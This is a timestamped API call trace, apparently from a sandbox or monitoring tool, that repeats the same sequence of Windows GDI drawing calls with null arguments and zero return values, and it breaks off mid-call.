[0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.424] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.424] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.424] GradientFill () returned 0x0 [0119.424] BeginPath (hdc=0x0) returned 0 [0119.424] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.425] BeginPath (hdc=0x0) returned 0 [0119.425] FillPath (hdc=0x0) returned 0 [0119.425] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.425] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.425] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.426] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.426] GradientFill () returned 0x0 [0119.426] BeginPath (hdc=0x0) returned 0 [0119.426] FillPath (hdc=0x0) returned 0 [0119.426] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.427] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.427] GradientFill () returned 0x0 [0119.427] BeginPath (hdc=0x0) returned 0 [0119.427] FillPath (hdc=0x0) returned 0 [0119.427] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.428] GradientFill () returned 0x0 [0119.428] BeginPath (hdc=0x0) returned 0 [0119.428] FillPath (hdc=0x0) returned 0 [0119.428] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.428] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.429] BeginPath (hdc=0x0) returned 0 [0119.429] FillPath (hdc=0x0) returned 0 [0119.429] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, 